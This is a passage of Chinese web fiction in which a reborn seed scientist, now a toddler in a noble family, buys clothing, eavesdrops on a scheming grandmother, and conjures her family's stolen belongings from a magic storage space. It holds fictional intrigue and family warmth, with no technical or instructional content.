“快,快点,把小姐点的那几套,还有那套童装,都从模子上脱下来,仔细别碰坏了。”女掌柜恭敬起身,甚至下意识地行了个浅浅的万福,随即急哄哄地吩咐上了,声音里带着前所未有的殷勤。
“小姐,这里人多嘈杂,您且进里屋去,慢慢选,再看看别的花样,里头生了炭盆,暖和,再喝点热茶水,用些点心。”女掌柜完全把她当成了贵宾,侧身引路,态度近乎呵护。
那高人一等的感觉,被人捧着、顺着的感觉,还真是好!孟沅在前世作为埋头实验室的种子专家,专业的泥腿子,还真没享受过这般众星拱月的待遇。
她想摆出点架势,努力挺了挺小胸脯,小短腿用力向前迈去,靴子在地板上发出轻轻的“哒”声。却因那一声脱口的、奶气十足的“好哒!”而瞬间破防——稚嫩的声音里满是欢快,什么架势都烟消云散了。
围观的众人看着她那努力装大人却又掩不住孩子气的模样,又一次哄然笑了起来,铺子里充满了快活的空气。
第一卷 第17章 二手成衣
女掌柜看着阿沅很高兴,要不是店里进来的顾客逐渐增加,她恨不得把奶娃娃扣下。
讲话都没清楚的小娃娃,给家人和自己买的都是店里高价的成衣,就是给府里下人每人两套,买的也都是平时大户人家管事才能穿的好衣料。
阿沅也不客气,送上来的糕点和甜水吃了不少,直到小肚皮鼓了起来,掌柜的特意交代小伙计给自己打包自己喜欢吃的蛋黄酥和椰蓉糕,想来也是女掌柜想要送客了。
“漂亮姨姨,泥们有便宜的棉衣吗?”阿沅仍未起身,又糯糯地来一句。
女掌柜眉眼含笑地望着阿沅,心里实在欢喜得紧,若不是店里的客人渐渐多了起来,她忙得有些分身乏术,真恨不得把这玉雪可爱的奶娃娃留在身边多逗弄一会儿——哪怕只是看着她那圆嘟嘟的小脸也好。
这奶娃娃话还说不利索呢,“漂亮姨姨”叫得人心头甜滋滋的,出手却半点不含糊。给自家爹娘和自己挑的都是铺子里顶贵的好衣裳。
就连给府里下人置办,也是每人两套,选的都是往常大户人家里管事一级才舍得穿的好料子,这般阔绰又细致的手笔,哪像个懵懂孩童?
阿沅在店里也自在得很,女掌柜殷勤送上来的各色糕点和甜汤,她一样样尝过去,吃得津津有味,直到那小肚子都吃得微微鼓了起来,像揣了个软软的小皮球。
眼见时候不早,掌柜的便吩咐小伙计,将阿沅格外多吃了两块的蛋黄酥和椰蓉糕仔细包好,这既是体贴,也是个委婉送客的意思。
“漂亮姨姨,泥们……有便宜的棉衣吗?”阿沅却仍稳稳坐在椅子上,没有起身,眨巴着乌溜溜的大眼睛,又糯声糯气地问了一句。
“小姐是想寻便宜的棉衣棉裤?”女掌柜被那声“漂亮姨姨”叫得心头又是一软,耐着性子解释道,“咱们锦绣坊主做的是新衣,而且都是精细的面料,自然是没有太便宜的。
不过,东家另在城北开了一间旧衣坊,专收各处的旧衣裳,浆洗干净了再发卖,只是里头衣裳成色有好有差,不大齐整,价钱倒是极实惠的,往往只有新衣价钱的十之一二。”
“真哒?”阿沅一听,小米牙立刻又亮了出来,眼睛弯成了小月牙,“窝要买!买好多好多!”
见这小丫头一下子来了精神,眼里仿佛落进了星光,闪闪发亮,女掌柜心下暗觉有趣,知道这笔生意多半能做成了,连忙接口道:“那容易,我这就派个熟路的伙计,领着小姐的车驾过去。”
阿沅高兴得“砰”地一下就从高高的椅子上跳了下来。
“小姐,仔细摔着!”幸亏旁边的红袖眼疾手快,一把扶住,才没让她直接趴到地上去。
“没事哒!”阿沅就着红袖的手站稳了,还不忘扭头对女掌柜说,“谢谢姨姨,那窝……走啦,以后再来……吃点心。”
说这话时,那双大眼睛一直瞟向桌上那包好的糕点,生怕女掌柜忘了给她似的,那模样活像只偷藏了坚果、机灵又贪嘴的小狸鼠。
“好,好,姨姨这儿随时都欢迎小姐来。”女掌柜笑容满面,亲自将阿沅送到门外,又小心地把她抱上马车,将那包点心稳稳塞进她怀里。
被派去引路的伙计,刚凑近马车,正对上那车夫护卫半阖着眼皮倏然睁开的眸子——那目光幽幽的,带着股说不出的冷意,伙计心头猛地一跳,好半晌才缓过气来。
他心里暗暗嘀咕:这位小小姐果然不简单,连身边一个看似普通的车夫都这般气势慑人,果真是高门大户出来的,万万怠慢不得。
女掌柜站在店门口,目送着马车辘辘驶远,回头对着账房先生还在低声感叹:“这小丫头,瞧这心性气度,往后长大了,绝不是什么寻常后宅闺秀那般简单。”
马车越往城北行去,沿途景象便越是不同。这才让人真切觉出,这大康朝恐怕并非表面那般“大康”,内里贫苦之处,着实令人心酸。
房屋低矮破败,布局杂乱无章,更有一大片望不到边的棚户区,触目惊心。那里的人家,常常是随便垒几块石头、叠几层旧砖,再钉上些歪歪扭扭的木板,便算是一处能勉强遮风挡雨的窝棚,往往还要挤上好几户人。
棚户门口,不少人在懒洋洋地晒着太阳。不仅有衣衫单薄、蓬头垢面的孩子,许多大人也是衣不蔽体,褴褛不堪,那境况看着比城中那些行乞的乞丐也好不了多少。
“小姐,买那么多便宜衣裳,是打算做善事,施舍给他们吗?”红袖看着窗外景象,心里有些想不通。
柒叔好不容易才从侯府那边掏来些银钱物件,小姐不想着先把自家大房的日子过得更舒坦些,怎么倒有闲心管起这些八竿子打不着的穷苦百姓了?
她虽不算顶聪明,可也不是傻子。大房在府里过得艰难,不受老太太待见,这些事,再笨的人也瞧得出几分眉目。
“窝只管窝们的人。”阿沅笑得眉眼弯弯,语气却清晰。
她是想让大康朝的百姓都能吃饱穿暖不假,可她也不想当什么救世主,况且她也当不了——她又不是皇帝老子。
“娘亲好多庄子,有好多人哒!”她轻声补充道。庄子里的那些人,是自家的根基,自然不能让他们冻着饿着,往后可是要大用的。
说句实在话,她好歹是堂堂的种子专家,哪能让自己手底下的人先饿先冻出个好歹?买人不要钱的吗?
再说了,她心里还盘算着明年开春就要大干一场呢,除了庄子里的田地,她最缺的就是肯下力气、能踏实干活的庄稼把式,最好还是知根知底的。
至于像城北这边,许多吃了上顿没下顿、只晓得靠在墙根晒太阳等运气的懒汉,她可是半点也瞧不上。
那间二手衣铺,就开在城北最热闹的一条街上。比起住满了达官显贵的城西和城东,这边是鱼龙混杂,三教九流什么样的人都有,但也因此格外喧闹,进城来买卖东西的平头百姓最多。
在这里,只要你能拿得出来的东西,几乎都便宜好卖。有点像前世的那个“C多多”,只有你想不到的,没有你淘不到的,而且价格低得惊人,所以来往的人络绎不绝,铺子里外总是挤得满满当当。
只是到了这种地方,阿沅可就没了在锦绣坊那样的自由。
也许是因为不过一个月就过年,加上连日大雪,想着买衣服的人特别多。
眼见铺子门前人潮汹涌,挤挤挨挨,里头挑拣衣物时发生口角争执的有之;在人群里钻来钻去、趁机摸摸索索揩油小媳妇的有之;更有那等专趁乱下手、偷摸钱袋的扒手混迹其中。
阿沅和红袖当即就被绿果、红豆一左一右牢牢“拘”在了马车上,连那一直沉默寡言的车夫护卫也转过身来看她们。
那意思再明白不过——任凭阿沅怎么软语商量,或是撅嘴佯装生气,三个人都丝毫不为所动。
“小姐想买什么,尽管交代给奴婢们去办便是。”绿果语气温和,态度却异常坚决,“奴婢们必定仔仔细细挑好,不辱使命。只是这外头实在太乱,小姐千金之躯,绝不能下车涉险。”
到了这等关头,他们心里只牢牢刻着一句话:万事皆小,保住小姐平安无事最大。
第一卷 第18章 是她害了祖母
最后的结果是阿沅和红袖在马车上悠哉悠哉吃糕点,偶尔给前面的护卫递两块,绿果和红豆进去买衣服。
这一回阿沅的交代是绫罗绸缎都不买,厚实棉衣、棉裤、棉鞋、棉帽一件都不留,浆洗过没修补好的,只要能穿的也照单全收。
她特意板起小脸,一字一顿地嘱咐,那模样既认真又透着不容置疑的坚决。再加上红袖在旁边帮腔搭嘴,两人明白了小姐的意思。
听说她们要买这么多,还不挑拣质地新旧,掌柜的先是愣了一瞬,随即脸上堆满了生意上门的精明喜色,忙不迭地点头哈腰,马上转身招呼伙计关门谢客,挂上“暂歇”的木牌。
亲自领着伙计们钻进后头库房,将符合要求的棉制品一摞摞清点搬运出来。不过半个时辰,数量便点算清楚,银货两讫。
掌柜的笑眯眯地拱手,“姑娘们先回去,小的保证晚些时候定派稳妥人手,直接送到你们府上,包管一件不差,非常省事。”
阿沅吃饱喝足,马车微微摇晃如同摇篮,她又躺回那铺着厚厚绒垫、温暖又软软乎乎的小榻上,抱着小手炉,眼皮渐渐沉了下来,不一会儿便呼吸均匀地睡着了。
这一觉睡得踏实,直到马车稳稳停回娘亲的陪嫁宅子门口,被红袖轻轻唤醒,她才揉着惺忪睡眼,懵懵懂懂地被搀下车。
晚餐饭桌上。
“小姐若是听墙角,柒叔已经有了经验,不用再带上旁人。”孟柒依然是板着脸,一脸严肃,不肯再让绿果、红豆和红袖几个碍手碍脚的跟去。
他腰背挺得笔直,目光依次扫过三个丫鬟,最后落在阿沅脸上,语气斩钉截铁。
他一本正经地分析道:“小姐,昨晚侯府里的人都集中到了一处,你们才没被人发现。今晚老太太住到了前院,各院留守的人手必然分散,警戒不同,耳目反而可能更多。人多容易生乱,反而容易暴露行踪。”
他顿了顿,加重语气总结,“总之,有在下带着小姐一人,身手便利,进退自如,绰绰有余,旁的人一概不用,徒增风险。”
昨晚一路回来,阿沅心里那股郁气就没散尽,总觉得事情没办完,像有只小猫爪在轻轻挠着心肝。此刻见孟柒拒绝得干脆,她马上红了眼圈,小嘴一瘪,眼眶里迅速蓄起两汪水光,“红袖必须跟窝,不然窝……窝,窝不要泥去了!”
许是受了原主残留情绪的影响,阿沅那泪珠子说掉就掉,一颗接一颗滚下粉嫩的脸颊,委委屈屈、吧嗒吧嗒的样子,看得人心头发软。
那副可怜又倔强的小模样,让素来冷硬的孟柒内心一阵莫名的烦躁,仿佛自己做了多么十恶不赦的事情,竟有种手足无措的罪恶感。
他眉头紧锁,挣扎片刻,终究还是硬不下心肠,只能勉强点头妥协:“那……红袖跟着,绿果也去,省得我一人拎你们两个~累赘。”说到后面又有点不甘心。
“好!”红袖立刻转悲为喜,只要能跟着小姐,去哪儿她都高兴,眼睛笑成了月牙儿。
“行!”绿果自然也是愿意跟着的,连忙应下,只有一旁的红豆板起了脸,嘴角微微下撇,眼里流露出几分失落和不高兴,但看着老大严肃的脸色,她也不敢提出异议,只默默低下了头。
“好哒!”阿沅瞬间高兴了,眼泪还挂在睫毛上,嘴角却已高高扬起,变脸快得像初夏的天气。
她心里的小算盘打得噼啪响:趁着红袖这个苦主也在,不去吓吓那个前世把原主和红袖卖进脏污窑子的凌堂姐怎么行?还有那个总是打她、捉弄她、作践她的孟怀堂,最好也能一并吓唬了,若能吓出病来,吓出比哥哥以前还要傻的疯病,那才解气呢!
……
安平侯府前院的西侧小院,因少了白日里穿梭伺候的仆役,比昨夜老太太宿在正屋时安静了不少,更显出一种空旷的森然。
屋内点了好几盏灯烛,将人影投在墙壁上,晃动摇曳。
虽是白天断断续续睡了几个囫囵觉,但老太太老宋氏依然觉得头脑浑浑噩噩,像被一层湿布裹着。她勉强喝下一碗温热的燕窝粥,放下瓷碗时,眼里忽然迸射出淬了毒般的寒光,枯瘦的手指紧紧攥着被角,咬牙切齿地怒骂了起来。
“定是花容那个杀千刀的阴魂不散,回来了!早知道当年就不能让她那么轻易死了,合该挫骨扬灰,叫她永世不得超生才好!”
“老妖婆!不得好死!”屋顶上,红袖听得真切,胸中一股怒火直冲头顶,她猛地抓起手边一块松动的瓦片,手臂一扬就想狠狠砸下去!
但她的手立刻被身旁眼疾手快的绿果死死摁住,绿果对她用力摇头,眼中满是警告。
孟柒更是瞬间收紧了面部线条,凌厉如刀的目光狠狠瞪向红袖,红袖一个激灵,吓得连忙松开瓦片,缩了缩脖子,往阿沅身边靠了靠。
阿沅趴伏在冰凉的屋瓦上,小拳头捏得紧紧的,指甲几乎要嵌进掌心。她心中涌起一股不属于她这个年龄的、混杂着悲愤与彻骨寒意的情绪,那是来自原主血脉深处的共鸣。
她听见自己用稚嫩却带着恨意的声音低喃:“她骂花家……骂祖母……老妖婆,她害了祖母……”原主的记忆里并没有对亲祖母花容的具体印象,那位出自江南世家大族、老侯爷的原配夫人,在爹爹孟大川八岁那年就病故了。
后来续娶的老宋氏,正是花家的表亲。书里未曾细写的这段隐秘,此刻如同黑暗中的毒蛇,悄然露出了狰狞的一角。
孟沅心中又是庆幸又是沉重:难怪大家都说“想要知道真相,就得学会蹲墙角”,果然作用非凡,能听到这般骇人的秘辛。
但同时,那听到的只言片语如同毒藤,在她心中疯狂蔓延,滋生出越来越浓的憎恨。她暗暗发誓,回去跟爹爹咬耳朵说悄悄话的时候,这必然是新的、紧要的内容。
“夫人,您且放宽心,莫要气坏了身子。等到那一家子彻底死绝了,断了根苗,咱们再悄悄请那位老道士回来,重新施法,将那不干净的东西好好镇一镇,教她再也翻不了身。”一个听起来年纪颇大、带着谄媚安抚语调的老婆子声音,又从下面幽幽传上来。
这话语如同淬毒的冰锥,刺得阿沅浑身发冷,牙齿不受控制地咯咯作响。所有伏在屋顶听墙角的人,此刻都屏住了呼吸,空气中弥漫着一种压抑的愤怒。
孟柒更是听得眼中杀意凛然,只恨如今不是在可以快意恩仇的战场,否则下面这两个阴毒的老婆子,他必定一刀一个,绝不留情。
第一卷 第19章 还没玩够
下面,那老妖婆沙哑的声音停顿了片刻,又继续响起,带着一种焦灼的算计:“这都快到年关了,庄子上……怎么还没有消息传回来?”
嬷嬷的声音连忙接上,透着小心翼翼:“许是就在这两天了呢?雪天……路途不便,迟个三两天也是有的。老夫人,您是心急了。”
“若是再过两天还没有确凿消息,就让老二家的亲自跑一趟去看看。我就不信……那药会没有作用,最好年前吃席。”
老宋氏的声音压得更低,却更显阴狠,“或许……就是因为他们死得太透、太干净了,庄头觉得晦气,才没敢急着上报……”
“唔——!”阿沅听到这里,一股热血直冲脑门,小小的身体因极致的愤怒而颤抖起来,她几乎要不管不顾地喊出声。
下一瞬,她的嘴就被一只带着厚茧的大手紧紧捂住,整个人被孟柒铁箍般的臂膀一把捞起,迅速而无声地向后退离屋顶边缘。
她拼命挣扎,小短腿在空中胡乱踢蹬,想要踢打孟柒,想要下去撕了那两个老毒妇,但她的力气在孟柒面前如同蚍蜉撼树,小短腿再怎么努力也够不着要害。
芯子里终究不是真正的三岁孩童,孟沅在最初的暴怒后,残存的理智告诉她此刻绝非下手报仇的时机。心中的难受是真的,那滔天的恨意也是真的,但她必须佯装,必须忍耐。
只是被这般强行带走,那口憋闷的怒气无处发泄。
待到被孟柒带到安全的暗处,捂着她嘴的手刚一松开,阿沅便报复性地、用尽全力踢了孟柒的小腿七八下,虽然那力道对孟柒来说如同挠痒。
她仰起满是泪痕的小脸,赌着气,用带着哭腔却异常执拗的声音命令道:“泥!去做鬼!吓死那两个小坏蛋!不吓死,不得回!”
要吓死谁,一路来时红袖凑在阿沅耳边嘀嘀咕咕的谋划,孟柒和绿果其实都听得清清楚楚,当时还觉得小孩子心性,好笑。
到了此刻,亲耳听闻了那般恶毒的言语,孟柒心中那点对于“装神弄鬼”的抵触早已烟消云散。如果可以,他更想用更直接痛快的方式。但眼下,小主子的命令,他选择遵从。
他脸上依旧是那副沉稳严肃的表情,嘴里坚持着最后的“规矩”:“属下先送小姐你们回去。稍后,带十五、十六那两个小子出来办此事。他们手脚更伶俐,装弄起来也更……在行。定不辱使命。”
孟柒倒不是担心自己又一晚上不能睡,只是纯粹觉得,比起自己这张过于刚硬、或许不太像“鬼”的脸,十五和十六那两个机灵鬼,显然更适合这份“吓人”的差事。
一觉起来,已是第三天的清晨,雪过天晴,阳光透过窗棂,在屋内投下明晃晃的光斑。
小奶团坐在榻上揉着眼睛,忽然意识到今日便要返家,顿时不乐意了。
饭后就被拎出门很不服。她“噌”地跳脚,叉起腰,仰起圆嘟嘟的小脸对着孟柒瞪眼,乌黑的眸子里的不忿明明白白:“下午再回去!”
昨日说好要逛遍京城的繁华街市,结果却成了布料铺与成衣店的来回奔波,连根糖葫芦的影儿都没见着,光看了城北的棚户区破旧房子。
她越想越觉得冤,小嘴噘得能挂油瓶,心里盘算着:左右不过晚几个时辰到家,多赖半天又何妨?
“不行!”孟柒梗着脖子,站得笔直,声音虽淡却不容反驳,“临行前大人和夫人是如何叮嘱的?小姐可别忘了。”
他有他的坚持,话音未落便伸手一把将阿沅拎了起来,任凭她两条小腿在空中胡乱踢蹬,却依旧连他的衣摆都沾不到半分。
“呜呜呜!窝的甜糕糕,窝的凤梨酥,窝的小糖人,窝的……”阿沅身子扭得像条活鱼,一连串吃食的名号从那樱桃小嘴里倒豆子般蹦出来。
甜的、酥的、粘的、香的,有的尝过,有的只听丫鬟提过,此刻全成了她耍赖的由头,软糯的嗓音拖得老长,不依不饶。
孟柒生怕一放下她便要就地打滚撒泼,只得继续拎着那小小一团,手臂绷得稳稳的。
“铺子这个时辰还没开门呢!咱们先动身,留个人,待会儿绕去秀芳斋采买便是。”他被缠得实在没了法子,终于缴械投降。
阿沅立刻停止了挣扎,但眼珠子一转,得寸进尺:“都要,全给窝包圆了。”
孟柒从牙缝里挤出一个字:“好!”
他想将她塞进车厢,阿沅却蜷缩着身子,脚丫子死活不肯沾地,又追加一句:“还有糖人和冰糖葫芦。”
孟柒头痛不已,速速应道:“好!”
那两只小脚依然悬在半空,阿沅的声音更添了几分理直气壮:“娘亲和哥哥喜欢的三色丸子,还有全氏的大烤鸭。”
“在下给小姐买整整一马车回去!十一,快走!”孟柒再不敢接话,手腕一扬,将阿沅轻轻丢进车厢,又顺手拎起一旁看得发呆的弱质丫鬟红袖,也丢了进去。
动作快得像在躲避什么瘟神,末了还用力推了马车一把,催它赶紧起步。
看到老大阴沉着脸,真的生了气。绿果和红豆慌忙飞身上车,心里正惴惴,以为小姐定要痛哭流涕或是气得在车里翻滚。不料却见阿沅早已坐得端端正正,悠哉悠哉地晃着一双小短腿,脸上哪有半分委屈?
那如愿以偿后心满意足的笑靥,活像只偷了腥的小狐狸,眉眼弯弯,连粉嫩的牙龈都露了出来,甜得能沁出蜜来。
第一卷 第20章 其乐融融
临近庄子的时候才酉时中,天上却没了亮光,若不是满地的皑皑白雪映出朦胧光亮,天几乎全黑了。
车轮碾过积雪发出吱呀的声响,车厢里透出暖黄的灯光,在苍茫的暮色中格外温馨。
“小姐,有人等门呢,定是夫人派出来接我们的。”红袖掀开帘子一角往外瞧,语气里带着笃定的欢喜。
冬日的庄子,只有出入的时候才会敞开的大门,此刻却完全敞开着,门檐下两盏灯笼在风中轻轻晃动,晕开一团团橘红的光,果然有几道黑色人影静静矗立在光影交界处,正朝这边张望。
车上几个人都忍不住探出了头,呵出的白气在冷空中飘散。
“好像是墨竹和纸槐。”绿果眯着眼仔细辨认,红豆在一旁连连点头:“可不就是他们嘛!”
也许是以前相处多了,哪怕隔着一段距离、借着雪光与灯光,绿果和红豆也能从那身形姿态中认出熟悉的人来。
“那…那个…是嘚嘚?”阿沅心里一动,隐隐有了猜测,小手不自觉地攥紧了袖口。
想到自己临走前配制的解毒药,心头顿时涌上一股热切的期盼,信心也像被点燃的小火苗般蹿升起来。
“不会的,这么冷的天,夫人定会拘着少爷,不会让他出来的。”红袖摇摇头,伸手将阿沅敞开的领口拢了拢,把绑带重新绑了一遍。
今天虽然没下雪,但寒风依然刺骨,此刻天色已暗,阴冷的风一阵紧似一阵,刮在脸上像小刀子似的,她实在不相信体弱的少爷会在这时站在门外。
然而,随着马车轱辘吱呀呀地驶近,灯笼的光渐渐照亮了那中间人影的脸庞——略显苍白的肤色,一双清澈却稍显迟缓的眼睛正急切地望过来。
阿沅猛地瞪大眼睛,惊呼出声:“快抱窝下去,是嘚嘚,真的是嘚嘚!”她整个身子都往前倾,恨不得立刻跳下车去。
孟怀瑾确实穿得很厚实,一件藏青色的棉袍外面还罩了件石青色的毛皮斗篷,颈间围着一圈灰鼠皮围脖,几乎遮住了小半张脸。他被墨竹和纸槐一左一右护在中间,两人身姿挺拔如松,将他严实地挡在身后背风处。
他虽然不如他们那般挺拔硬朗,显得有些单薄,却也努力挺直了腰杆,站得稳稳的,眉眼间透着一股属于读书人的安静气质,只是眼神里带着掩饰不住的期盼与雀跃。
尽管阿沅在车里扭着身子闹着要下车,但坐外面的绿果和红豆都拦住她,驾车的十一也仿佛没听见,手中缰绳稳稳握着。
一直将马车赶进了庄子大门,又缓缓越过了门口等候的三人,才在内院门前勒住了马。马蹄踢踏几下,停稳了。
“妹妹?”车还未停稳,那身材削瘦的少年已经急切地迈前两步,微微倾身向前,声音里带着一丝不确定的颤抖,试探着轻声唤道。
“嘚嘚,窝肥来了!”红豆和绿果刚刚拨开车帘,一股冷风灌入,红袖正打算先下车回身来接人,却见小姐像只归巢的雀儿般,瞅准了方向,纵身一跃,整个身子便不管不顾地扑向前方那道熟悉的身影。
这动作来得太突然,车上的三人俱是措手不及,齐齐惊呼。
阿沅扑出去的瞬间,眼睛也下意识地闭上,耳边是呼啸的风声,心里却想着哥哥肯定接不住。
就在她以为自己要一头栽进雪地、啃上一嘴冰凉白雪的时候,一双虽然不算强壮却异常坚定的臂膀猛地接住了她,将她紧紧搂住。两人同时发出了惊喜的呼喊:
“妹妹!”孟怀瑾的声音里充满了失而复得的欢欣。
“嘚嘚!”阿沅清脆雀跃,听声音就知道哥哥已经不同了。
然而冲击的力道还是让孟怀瑾脚下不稳,他抱着阿沅向后趔趄了一步,靴子在雪地上滑开,两人惊呼声中,一起滚倒在松软厚实的雪地里,扑腾起一片细碎的雪沫。
“不疼,一点都不疼。”阿沅很快从哥哥怀里抬起小脸,咧开嘴笑了起来,露出白白的小米牙。
两人摔倒在地,但厚厚的积雪和孟怀瑾垫在下面的手臂起到了缓冲,摔得并不重。阿沅只是在哥哥温暖的怀抱里打了个滚,斗篷上、发梢上都沾满了晶莹的雪粒。
“嘚嘚!泥要多吃饭哦。”她伸出小手,胡乱地拍了拍孟怀瑾肩头的雪,一本正经地叮嘱着,将近十四岁的少年,声量还是单薄了些。
“妹妹,不疼!”孟怀瑾缓过劲,也笑了,他顾不上拍打自己身上的雪渍,连忙坐起身将阿沅抱起来,然后仔细地、轻轻地帮她拍打后背、衣袖上沾的雪粒,动作有些笨拙却极尽温柔。
拍完了雪,他凑近她,用自己的额头轻轻碰了碰阿沅被冻得红红的小鼻尖,然后咧开嘴,露出一个有些腼腆却无比开怀的笑容,“妹妹吃饭,娘亲等。”
他的话语依旧简短,带着停顿,但眼中的光彩却比往日明亮了许多。
“好,阿沅肚子饿饿!”阿沅笑得眉眼弯弯,也在他脸上留下了一个印记。
她仔细瞧着哥哥的脸,刚刚服药三天,哥哥的眼神似乎清明了不少,脸上那种懵懂的傻气也淡了些,只是说话还像以前那样,有点慢,有点顿,但已经足够让她雀跃。
另一边,孟柒似乎比阿沅还要心急,他刚迈上正屋的台阶,看见闻声迎出来的柳氏,匆匆行了个礼,语气急促:“夫人,大人可醒着?在下有要事需即刻汇报。”
“进去吧,喂他先吃了些粥,这会应该醒着!”柳氏从屋里急步走出,一边回话,目光却早已越过孟柒,牢牢锁在了一双儿女身上。
见两人身上都沾着雪,尤其是孟怀瑾的斗篷下摆湿了一片,她又是心疼又是责怪,语气却仍旧是温和的:“你们两个,这是钻雪堆里去了?”
她快步走到近前,先抬手为儿子拍掉帽檐上沾着的雪花,又仔细拂去他鬓边发丝上的雪沫,然后才一把将还在咯咯笑的阿沅从孟怀瑾身边抱过来。
入手感觉女儿外披沁着寒意,忙催促儿子道:“赶紧的,去换套干爽衣服,手炉也捂上。待会儿我们吃羊肉锅子,热热乎乎地驱驱寒。”
“好哦!吃锅子咯!”一听到有暖锅吃,阿沅在柳氏怀里也不安分,刚被抱进暖意融融的屋里,就迫不及待地往下蹦。屋里炭火烧得旺,暖烘烘的让人瞬间舒展。
柳氏强忍着笑意,手上动作利落,三下两下便剥掉了阿沅那件带着寒气、浸了雪水的厚外披,又剥掉了棉衣,才扯过早就备在一边的干爽小袄将她裹住,嘴里念叨着:“慢点慢点,玩疯了吧,害爹娘和哥哥担心。”
第一卷 第21章 吓坏了爹爹和哥哥
等吃饭的当口,半天孟柒没从爹娘屋里出来,阿沅眼珠子滴溜溜一转,心里便有了主意,她迈开小短腿,径直朝孟怀瑾的侧屋跑去。
侧屋里间除了那张光秃秃的床,空空荡荡,没有一样多余的东西。桌椅板凳也没有一张,想来是怕他癔症发作时伤了自己,刻意搬空的,床头上那两本摸得有些卷边的书,还是从柳氏那拿过来的。
此刻,孟怀瑾已经自上到下全都换了一身干净的衣裳,正低头费力地穿着鞋袜,听见到脚步声,一抬头看见阿沅进来,立刻咧开嘴,露出一个同样甜甜的的笑容,还叫了声“妹妹。”
墨竹和纸槐见了小姐,恭敬地做了个揖,便悄无声息地退了出去,轻轻带上了门。
“嘚嘚,阿沅送你礼物哦。”她奶声奶气地说着,眼睛弯成了月牙,孟怀瑾笑。
趁他又低头专注穿鞋的功夫,阿沅在屋里迅速扫视,找到了合适的位置,悄悄捏紧手心,意念微动。
霎时间,侯府前院那间敞亮雅致的书屋,如同被原样复制一般凭空而降,几乎填满了床榻和狭窄走道以外的所有位置。
那宽大书案,笔墨纸砚,满满当当的各类书籍,甚至墙上当年老侯爷亲笔所题“笃志力行”墨宝条幅,都分毫不差地出现在了正对的墙面上。
忽然抬起头,站起身的孟怀瑾猛地一愣,整个人僵在原地。他不可置信地环顾眼前这突如其来、却又熟悉到骨子里的一切。
目光再缓缓移向站在屋子中央、正冲他甜甜笑着的阿沅,眼中充满了震撼与茫然。
阿沅冲他用力点点头,那笑容里如同盛满了蜜糖,声音清脆又充满鼓励:“嘚嘚厉害,读书,考状元。”
见他还在犹豫,似乎不敢相信这从天而降的惊喜,阿沅跑过去,牵起他往书案边拉:“嘚嘚…读书…不吵爹爹。”
孟怀瑾颤抖地抚过光滑冰凉的案台,摸过那支他常用的竹节笔筒,触到温润的砚台,又望向那两大架子他曾经翻阅过无数次的书籍,喉咙哽咽,声音微微发颤,半天才坐到了那张椅子里。
他怔怔地望着眼前的一切,好久都没能回过神,仿佛沉浸在一个太过美好、不敢惊醒的梦里。
阿沅却似完成了一件大事,抿嘴一笑,转身轻手轻脚地溜了出去。
她一路小跑溜到了正屋,正好跟从里间出来的孟柒迎头碰上。孟柒抬眼看见她,正想开口招呼,阿沅却像只灵活的小泥鳅,哧溜一下从他身边钻过,径直往里屋窜了进去。
“爹爹,爹爹!”她嘴里叭叭。
心里又默念:还好还好,娘亲看她平日爬床辛苦,床前特地加了一条小榻,她踩上去一咕噜就爬得顺溜,动作利落得很。
“来,到爹爹这来。”刚想继续躺下去的孟大川,将身体向床内侧挪了挪,空出身边的位置,又拍了拍那处柔软的锦褥,示意她坐过来。
“爹爹,炭炭…粮食…棉衣,神仙姑姑说…”阿沅滚到他身边,迫不及待地开口。
“爹爹知道了,已经安排人分下去,再让各家抓紧修缮一下房屋,加固屋顶,以防大雪压垮。”孟大川一把搂住她的小身子,摁坐在自己身边,语气沉稳,显然刚才已经吩咐下去了。
阿沅嘴里还没叭叭完,孟大川就有了清晰果断的反应,她在心里忍不住为便宜爹竖起了拇指,无声地呐喊着:爹爹威武!难怪能打胜仗,得军功,果然有才。
“爹爹,嘚嘚的书房回来了,嘚嘚高兴。”阿沅又想起哥哥,兴奋地冲隔壁屋子的方向指了指,小脸上满是得意。
想到哥哥刚才那错愕之后,必定是狂喜涌上心头,恨不能立刻扑到书架上翻阅的表情,她就觉得开心。
见爹爹眼神中似乎有些疑惑,好像没完全明白“书房回来了”是什么意思,她干脆不再多说,捏紧自己的小拳头,意念一动后马上张开手心。
只见她以前的玩的小布偶、小木马、拨浪鼓、九连环…突然凭空出现,叮叮当当地撒满了床尾的锦被。
“阿沅…”孟大川的声音骤然颤抖起来。
阿沅回头给了他一个咧到耳根的笑容,露出满嘴小米牙:“嘿嘿!嫁妆,娘亲的,不便宜坏蛋。”
话音刚落,只听“咚”一声轻响,一株足有两尺来高、色泽鲜艳欲滴的红珊瑚摆件,赫然出现在散落的玩具中间,那闪亮的光泽几乎照亮了床帷。
这东西太贵重,独一无二。孟大川一眼就认出,这是当年夫人压箱底的陪嫁之一。
“还有…”阿沅兴致勃勃,还想继续往外掏东西。但一双大手从后面紧紧环抱过来,带着不容抗拒的力道,将她的小身子连同手臂一起箍住。她捏紧的拳头也被爹爹温热而略带薄茧的大手握住,力道轻柔却坚定地掰开。
孟大川的声音在她头顶上方响起,带着明显的颤音和后怕:“阿沅,不急,爹爹知道了,是神仙姑姑显灵了,帮了我们家大忙。”
女儿若是再这么毫无顾忌地往外“拿”东西,心脏受不了的首先会是他自己。这接二连三的冲击,如同惊涛拍岸,他真的需要喘几口气,好好缓一缓,理一理这匪夷所思却又真切发生在眼前的一切。
他努力深吸了几口气,平复着擂鼓般的心跳,才慢慢松开了禁锢女儿的双手,将她转过来面对自己,神色凝重而温和:“阿沅,告诉爹爹,你是不是把我们的东西,都收回来了?是神仙姑姑在帮忙,对不对?”
“嗯啊!”阿沅用力点头,小脸绷得紧紧的,还咬起了牙根,“他们坏,不给他们留。”
她这时候已经瞥见了床边孟柒留下的那几个沉甸甸的箱笼和包袱,心里明白,之前听墙脚听到的那些隐秘,大概不需要她再磕磕巴巴地复述了,孟柒应该已经事无巨细、条理清楚地跟爹爹汇报过了。
想到这里,阿沅自己也暗暗松了口气——毕竟,要她装着三岁小娃的懵懂语气,去一一陈述那些复杂的人心算计,实在是件太为难的事。
“这些宝贝…能先放在神仙姑姑那里吗?”孟大川犹豫了片刻,才低声问道,语气里带着商量的意味,也隐隐透着几分谨慎。
“嗯嗯!”阿沅再次重重点头,为了表示神仙姑姑那里的地方足够大,她还松开手,双臂尽力张开,环抱出一个大大的饼,“姑姑给的院子…能装…好多好多,满满的!
像是又忽然想起了什么要紧事,阿沅“啊”了一声,小手再次捏紧,然后松开:“这个,这个…二叔屋里的…”,只见厚厚一叠书信、笺纸,哗啦一下出现在床上。
